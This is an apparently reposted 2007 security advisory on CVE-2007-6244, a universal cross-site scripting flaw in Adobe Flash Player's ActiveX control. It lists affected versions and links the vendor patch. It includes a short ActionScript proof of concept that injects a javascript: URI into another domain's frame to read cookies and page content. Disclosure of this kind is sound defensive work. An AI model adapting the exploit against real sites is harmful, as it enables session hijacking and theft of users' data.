Thursday, December 20, 2007

[NEWS] Adobe Flash Player ActiveX Control Universal Cross-Site Scripting Vulnerability

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Adobe Flash Player ActiveX Control Universal Cross-Site Scripting
Vulnerability
------------------------------------------------------------------------


SUMMARY

This vulnerability allows remote attackers to run arbitrary JavaScript
code in the security context of other domains, resulting in information
disclosure and session hijacking. User interaction is required to exploit
this vulnerability in that the target must visit a malicious page or open
a malicious file.

The specific flaw exists in the Flash Player ActiveX Control's handling of
the navigateToURL API, which takes two arguments, a URL and the name of
the frame to be navigated. The SWF movie can pass in a javascript: URI and
the name of a frame on some other domain. The code in the URI executes in
the security context of the named frame, rather than the security context
of the SWF movie or the page that embeds it.

DETAILS

Vulnerable Systems:
* Adobe Flash Player version 9.0.48.0 and earlier
* Adobe Flash Player version 8.0.35.0 and earlier
* Adobe Flash Player version 7.0.70.0 and earlier

Vendor response:
The vendor has released appropriate patches available at:
<http://www.adobe.com/support/security/bulletins/apsb07-20.html>

http://www.adobe.com/support/security/bulletins/apsb07-20.html

Exploit:
package {
import flash.display.Sprite;
import flash.net.*;
import flash.utils.*;

public class uxssdemo extends Sprite {
public function uxssdemo() {
setTimeout(DoAttack, 1000);
}

public function DoAttack():void {
var request:URLRequest =
new URLRequest('javascript:alert("Cookie:
"+document.cookie+"\\n\\nContent: \\n\\n" +
document.lastChild.innerHTML);window.close();');
navigateToURL(request, 'tg');
}
}
}

CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6244>
CVE-2007-6244


ADDITIONAL INFORMATION

The information has been provided by
<mailto:fulldisclosure@collinjackson.com> Collin Jackson.
The original article can be found at:
<http://crypto.stanford.edu/advisories/CVE-2007-6244/>

http://crypto.stanford.edu/advisories/CVE-2007-6244/

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